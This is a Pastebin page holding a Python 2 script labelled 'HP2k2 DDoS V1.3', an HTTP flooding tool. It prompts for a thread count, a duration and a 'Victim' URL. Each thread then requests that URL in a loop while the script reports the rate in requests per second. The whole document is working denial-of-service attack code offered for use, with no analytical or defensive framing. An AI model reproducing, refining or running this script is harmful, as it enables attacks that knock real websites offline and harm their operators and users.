Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Embedded file name: C:\Users\Giorgio\Desktop\a.py
- import urllib, os, threading, time, sys
- print '\n ###################################\n'
- print ' 01010o.....::HP2k2 DDoS V1.3::.....o01010\n'
- print ' #################################################'
- print
- print '\t DDos Tool for HTTP site, Coded by HP2k2\n'
- if os.name in ('nt', 'dos', 'ce'):
- os.system('title ........::::: HP2k2 DDoS V1.3 :::::........')
- os.system('color a')
- Close = False
- Lock = threading.Lock()
- Request = 0
- Tot_req = 0
- class Spammer(threading.Thread):
- def __init__(self, url, number):
- threading.Thread.__init__(self)
- self.url = url
- self.num = number
- def run(self):
- global Lock
- global Tot_req
- global Close
- global Request
- Lock.acquire()
- print 'Starting thread #{0}'.format(self.num)
- Lock.release()
- while Close == False:
- try:
- urllib.urlopen(self.url)
- Request += 1
- Tot_req += 1
- except:
- pass
- Lock.acquire()
- print 'Closing thread #{0}'.format(self.num)
- Lock.release()
- sys.exit(0)
- if __name__ == '__main__':
- try:
- num_threads = input('> So luong dap(10000): ')
- t_tot = input('> Time(2): ')
- except:
- t_tot = 2
- timer = t_tot * 60
- t_tot = t_tot * 60
- while True:
- url = raw_input('> Victim: ')
- try:
- urllib.urlopen(url)
- except IOError:
- print 'Could not open specified url.'
- else:
- break
- for i in xrange(num_threads):
- Spammer(url, i + 1).start()
- time.sleep(2)
- print '#######################################################################'
- print '\n> Bot Are Loaded Sucessfully.'
- print '\n> HP2k2 is working hard. . .\n'
- while timer > 0:
- time.sleep(10)
- print '> HP2k2 @ ' + str(Request / 10.0) + ' Requests/s\tTotal Request: #' + str(Tot_req) + '\tTime left:', timer, 's'
- Request = 0
- timer -= 10
- print '\n> Average @ ' + str(Tot_req / t_tot) + ' Requests/s'
- print '\n#######################################################################\n'
- raw_input('> HP2k2 is still working, now you can press enter to shutting down threads.')
- time.sleep(1)
- Close = True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement